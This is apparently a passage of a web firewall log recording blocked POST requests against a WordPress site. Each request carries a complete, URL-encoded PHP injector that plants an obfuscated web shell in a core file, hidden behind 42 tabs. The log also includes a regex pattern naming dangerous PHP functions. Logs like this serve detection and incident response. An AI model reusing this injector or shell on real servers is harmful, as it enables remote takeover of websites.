D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:5331\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-encoding:gzip,deflate\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnHfvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5p3EyoFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-site:none\n\niK=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-block-pattern-categories-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524task_processor%2520%253D%2520%2522%255Cx68ex2bi%255Cx6E%2522%253B%2520%2524batch_process2%2520%253D%2520%2522%255Cx73h%255Cx65ll_%255Cx65%255Cx78ec%2522%253B%2520%2524batch_process7%2520%253D%2520%2522pc%255Cx6C%255Cx6Fse%2522%253B%2520%2524batch_process1%2520%253D%2520%2522s%255Cx79ste%255Cx6D%2522%253B%2520%2524batch_process4%2520%253D%2520%2522p%255Cx61%255Cx73s%255Cx74%255Cx68ru%2522%253B%2520%2524batch_process6%2520%253D%2520%2522st%255Cx72%255Cx65a%255Cx6D_ge%255Cx74_%255Cx63%255Cx6F%255Cx6E%255Cx74%255Cx65%255Cx6Ets%2522%253B%2520%2524batch_process3%2520%253D%2520%2522%255Cx65x%255Cx65c%2522%253B%2520%2524batch_process5%2520%253D%2520%2522pope%255Cx6E%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx70oin%255Cx74e%255Cx72%2522%255D%2529%2529%2520%257B%2520function%2520reverse_lookup%2528%2524binding%2520%252C%2520%2524pgrp%2520%2529%257B%2520%2524factor%2520%253D%2527%2527%253B%2520%2524i%253D0%253B%2520while%2528%2524i%253Cstrlen%2528%2524binding%2529%2529%257B%2520%2524factor.%253Dchr%2528ord%2528%2524binding%255B%2524i%255D%2529%255E%2524pgrp%2529%253B%2520%2524i%252B%252B%253B%2520%257D%2520return%2524factor%253B%2520%257D%2520%2524pointer%2520%253D%2520%2524task_processor%2528%2524_POST%255B%2522%255Cx70oin%255Cx74e%255Cx72%2522%255D%2529%253B%2520%2524pointer%2520%253D%2520reverse_lookup%2528%2524pointer%252C%252044%2529%253B%2520if%2520%2528function_exists%2528%2524batch_process1%2529%2529%2520%257B%2520%2524batch_process1%2528%2524pointer%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524batch_process2%2529%2529%2520%257B%2520print%2520%2524batch_process2%2528%2524pointer%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524batch_process3%2529%2529%2520%257B%2520%2524batch_process3%2528%2524pointer%252C%2520%2524tkn_binding%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524tkn_binding%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524batch_process4%2529%2529%2520%257B%2520%2524batch_process4%2528%2524pointer%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524batch_process5%2529%2520%2526%2526%2520function_exists%2528%2524batch_process6%2529%2520%2526%2526%2520function_exists%2528%2524batch_process7%2529%2529%2520%257B%2520%2524pgrp_factor%2520%253D%2520%2524batch_process5%2528%2524pointer%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524pgrp_factor%2529%2520%257B%2520%2524ent_rec%2520%253D%2520%2524batch_process6%2528%2524pgrp_factor%2529%253B%2520%2524batch_process7%2528%2524pgrp_factor%2529%253B%2520print%2520%2524ent_rec%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:51:20","51.38.81.255","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> cP:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-block-pattern-categories-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524task_processor%2520%253D%2520%2522%255Cx68ex2bi%255Cx6E%2522%253B%2520%2524batch_process2%2520%253D%2520%2522%255Cx73h%255Cx65ll_%255Cx65%255Cx78ec%2522%253B%2520%2524batch_process7%2520%253D%2520%2522pc%255Cx6C%255Cx6Fse%2522%253B%2520%2524batch_process1%2520%253D%2520%2522s%255Cx79ste%255Cx6D%2522%253B%2520%2524batch_process4%2520%253D%2520%2522p%255Cx61%255Cx73s%255Cx74%255Cx68ru%2522%253B%2520%2524batch_process6%2520%253D%2520%2522st%255Cx72%255Cx65a%255Cx6D_ge%255Cx74_%255Cx63%255Cx6F%255Cx6E%255Cx74%255Cx65%255Cx6Ets%2522%253B%2520%2524batch_process3%2520%253D%2520%2522%255Cx65x%255Cx65c%2522%253B%2520%2524batch_process5%2520%253D%2520%2522pope%255Cx6E%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx70oin%255Cx74e%255Cx72%2522%255D%2529%2529%2520%257B%2520function%2520reverse_lookup%2528%2524binding%2520%252C%2520%2524pgrp%2520%2529%257B%2520%2524factor%2520%253D%2527%2527%253B%2520%2524i%253D0%253B%2520while%2528%2524i%253Cstrlen%2528%2524binding%2529%2529%257B%2520%2524factor.%253Dchr%2528ord%2528%2524binding%255B%2524i%255D%2529%255E%2524pgrp%2529%253B%2520%2524i%252B%252B%253B%2520%257D%2520return%2524factor%253B%2520%257D%2520%2524pointer%2520%253D%2520%2524task_processor%2528%2524_POST%255B%2522%255Cx70oin%255Cx74e%255Cx72%2522%255D%2529%253B%2520%2524pointer%2520%253D%2520reverse_lookup%2528%2524pointer%252C%252044%2529%253B%2520if%2520%2528function_exists%2528%2524batch_process1%2529%2529%2520%257B%2520%2524batch_process1%2528%2524pointer%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524batch_process2%2529%2529%2520%257B%2520print%2520%2524batch_process2%2528%2524pointer%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524batch_process3%2529%2529%2520%257B%2520%2524batch_process3%2528%2524pointer%252C%2520%2524tkn_binding%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524tkn_binding%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524batch_process4%2529%2529%2520%257B%2520%2524batch_process4%2528%2524pointer%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524batch_process5%2529%2520%2526%2526%2520function_exists%2528%2524batch_process6%2529%2520%2526%2526%2520function_exists%2528%2524batch_process7%2529%2529%2520%257B%2520%2524pgrp_factor%2520%253D%2520%2524batch_process5%2528%2524pointer%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524pgrp_factor%2529%2520%257B%2520%2524ent_rec%2520%253D%2520%2524batch_process6%2528%2524pgrp_factor%2529%253B%2520%2524batch_process7%2528%2524pgrp_factor%2529%253B%2520print%2520%2524ent_rec%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:5331\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-encoding:gzip,deflate\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"macOS\"\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvL1NvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvLI9coaAypaEco24vB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-fetch-site:none\n\ncP=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-block-pattern-categories-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524task_processor%2520%253D%2520%2522%255Cx68ex2bi%255Cx6E%2522%253B%2520%2524batch_process2%2520%253D%2520%2522%255Cx73h%255Cx65ll_%255Cx65%255Cx78ec%2522%253B%2520%2524batch_process7%2520%253D%2520%2522pc%255Cx6C%255Cx6Fse%2522%253B%2520%2524batch_process1%2520%253D%2520%2522s%255Cx79ste%255Cx6D%2522%253B%2520%2524batch_process4%2520%253D%2520%2522p%255Cx61%255Cx73s%255Cx74%255Cx68ru%2522%253B%2520%2524batch_process6%2520%253D%2520%2522st%255Cx72%255Cx65a%255Cx6D_ge%255Cx74_%255Cx63%255Cx6F%255Cx6E%255Cx74%255Cx65%255Cx6Ets%2522%253B%2520%2524batch_process3%2520%253D%2520%2522%255Cx65x%255Cx65c%2522%253B%2520%2524batch_process5%2520%253D%2520%2522pope%255Cx6E%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx70oin%255Cx74e%255Cx72%2522%255D%2529%2529%2520%257B%2520function%2520reverse_lookup%2528%2524binding%2520%252C%2520%2524pgrp%2520%2529%257B%2520%2524factor%2520%253D%2527%2527%253B%2520%2524i%253D0%253B%2520while%2528%2524i%253Cstrlen%2528%2524binding%2529%2529%257B%2520%2524factor.%253Dchr%2528ord%2528%2524binding%255B%2524i%255D%2529%255E%2524pgrp%2529%253B%2520%2524i%252B%252B%253B%2520%257D%2520return%2524factor%253B%2520%257D%2520%2524pointer%2520%253D%2520%2524task_processor%2528%2524_POST%255B%2522%255Cx70oin%255Cx74e%255Cx72%2522%255D%2529%253B%2520%2524pointer%2520%253D%2520reverse_lookup%2528%2524pointer%252C%252044%2529%253B%2520if%2520%2528function_exists%2528%2524batch_process1%2529%2529%2520%257B%2520%2524batch_process1%2528%2524pointer%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524batch_process2%2529%2529%2520%257B%2520print%2520%2524batch_process2%2528%2524pointer%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524batch_process3%2529%2529%2520%257B%2520%2524batch_process3%2528%2524pointer%252C%2520%2524tkn_binding%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524tkn_binding%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524batch_process4%2529%2529%2520%257B%2520%2524batch_process4%2528%2524pointer%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524batch_process5%2529%2520%2526%2526%2520function_exists%2528%2524batch_process6%2529%2520%2526%2526%2520function_exists%2528%2524batch_process7%2529%2529%2520%257B%2520%2524pgrp_factor%2520%253D%2520%2524batch_process5%2528%2524pointer%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524pgrp_factor%2529%2520%257B%2520%2524ent_rec%2520%253D%2520%2524batch_process6%2528%2524pgrp_factor%2529%253B%2520%2524batch_process7%2528%2524pgrp_factor%2529%253B%2520print%2520%2524ent_rec%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:51:22","89.167.82.230","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-block-pattern-categories-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524task_processor%2520%253D%2520%2522%255Cx68ex2bi%255Cx6E%2522%253B%2520%2524batch_process2%2520%253D%2520%2522%255Cx73h%255Cx65ll_%255Cx65%255Cx78ec%2522%253B%2520%2524batch_process7%2520%253D%2520%2522pc%255Cx6C%255Cx6Fse%2522%253B%2520%2524batch_process1%2520%253D%2520%2522s%255Cx79ste%255Cx6D%2522%253B%2520%2524batch_process4%2520%253D%2520%2522p%255Cx61%255Cx73s%255Cx74%255Cx68ru%2522%253B%2520%2524batch_process6%2520%253D%2520%2522st%255Cx72%255Cx65a%255Cx6D_ge%255Cx74_%255Cx63%255Cx6F%255Cx6E%255Cx74%255Cx65%255Cx6Ets%2522%253B%2520%2524batch_process3%2520%253D%2520%2522%255Cx65x%255Cx65c%2522%253B%2520%2524batch_process5%2520%253D%2520%2522pope%255Cx6E%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx70oin%255Cx74e%255Cx72%2522%255D%2529%2529%2520%257B%2520function%2520reverse_lookup%2528%2524binding%2520%252C%2520%2524pgrp%2520%2529%257B%2520%2524factor%2520%253D%2527%2527%253B%2520%2524i%253D0%253B%2520while%2528%2524i%253Cstrlen%2528%2524binding%2529%2529%257B%2520%2524factor.%253Dchr%2528ord%2528%2524binding%255B%2524i%255D%2529%255E%2524pgrp%2529%253B%2520%2524i%252B%252B%253B%2520%257D%2520return%2524factor%253B%2520%257D%2520%2524pointer%2520%253D%2520%2524task_processor%2528%2524_POST%255B%2522%255Cx70oin%255Cx74e%255Cx72%2522%255D%2529%253B%2520%2524pointer%2520%253D%2520reverse_lookup%2528%2524pointer%252C%252044%2529%253B%2520if%2520%2528function_exists%2528%2524batch_process1%2529%2529%2520%257B%2520%2524batch_process1%2528%2524pointer%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524batch_process2%2529%2529%2520%257B%2520print%2520%2524batch_process2%2528%2524pointer%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524batch_process3%2529%2529%2520%257B%2520%2524batch_process3%2528%2524pointer%252C%2520%2524tkn_binding%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524tkn_binding%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524batch_process4%2529%2529%2520%257B%2520%2524batch_process4%2528%2524pointer%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524batch_process5%2529%2520%2526%2526%2520function_exists%2528%2524batch_process6%2529%2520%2526%2526%2520function_exists%2528%2524batch_process7%2529%2529%2520%257B%2520%2524pgrp_factor%2520%253D%2520%2524batch_process5%2528%2524pointer%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524pgrp_factor%2529%2520%257B%2520%2524ent_rec%2520%253D%2520%2524batch_process6%2528%2524pgrp_factor%2529%253B%2520%2524batch_process7%2528%2524pgrp_factor%2529%253B%2520print%2520%2524ent_rec%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nhost:dewenlabels.com\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\ncontent-length:5354\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\naccept-encoding:gzip,deflate\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\nsec-fetch-site:none\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-block-pattern-categories-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524task_processor%2520%253D%2520%2522%255Cx68ex2bi%255Cx6E%2522%253B%2520%2524batch_process2%2520%253D%2520%2522%255Cx73h%255Cx65ll_%255Cx65%255Cx78ec%2522%253B%2520%2524batch_process7%2520%253D%2520%2522pc%255Cx6C%255Cx6Fse%2522%253B%2520%2524batch_process1%2520%253D%2520%2522s%255Cx79ste%255Cx6D%2522%253B%2520%2524batch_process4%2520%253D%2520%2522p%255Cx61%255Cx73s%255Cx74%255Cx68ru%2522%253B%2520%2524batch_process6%2520%253D%2520%2522st%255Cx72%255Cx65a%255Cx6D_ge%255Cx74_%255Cx63%255Cx6F%255Cx6E%255Cx74%255Cx65%255Cx6Ets%2522%253B%2520%2524batch_process3%2520%253D%2520%2522%255Cx65x%255Cx65c%2522%253B%2520%2524batch_process5%2520%253D%2520%2522pope%255Cx6E%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx70oin%255Cx74e%255Cx72%2522%255D%2529%2529%2520%257B%2520function%2520reverse_lookup%2528%2524binding%2520%252C%2520%2524pgrp%2520%2529%257B%2520%2524factor%2520%253D%2527%2527%253B%2520%2524i%253D0%253B%2520while%2528%2524i%253Cstrlen%2528%2524binding%2529%2529%257B%2520%2524factor.%253Dchr%2528ord%2528%2524binding%255B%2524i%255D%2529%255E%2524pgrp%2529%253B%2520%2524i%252B%252B%253B%2520%257D%2520return%2524factor%253B%2520%257D%2520%2524pointer%2520%253D%2520%2524task_processor%2528%2524_POST%255B%2522%255Cx70oin%255Cx74e%255Cx72%2522%255D%2529%253B%2520%2524pointer%2520%253D%2520reverse_lookup%2528%2524pointer%252C%252044%2529%253B%2520if%2520%2528function_exists%2528%2524batch_process1%2529%2529%2520%257B%2520%2524batch_process1%2528%2524pointer%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524batch_process2%2529%2529%2520%257B%2520print%2520%2524batch_process2%2528%2524pointer%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524batch_process3%2529%2529%2520%257B%2520%2524batch_process3%2528%2524pointer%252C%2520%2524tkn_binding%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524tkn_binding%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524batch_process4%2529%2529%2520%257B%2520%2524batch_process4%2528%2524pointer%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524batch_process5%2529%2520%2526%2526%2520function_exists%2528%2524batch_process6%2529%2520%2526%2526%2520function_exists%2528%2524batch_process7%2529%2529%2520%257B%2520%2524pgrp_factor%2520%253D%2520%2524batch_process5%2528%2524pointer%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524pgrp_factor%2529%2520%257B%2520%2524ent_rec%2520%253D%2520%2524batch_process6%2528%2524pgrp_factor%2529%253B%2520%2524batch_process7%2528%2524pgrp_factor%2529%253B%2520print%2520%2524ent_rec%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
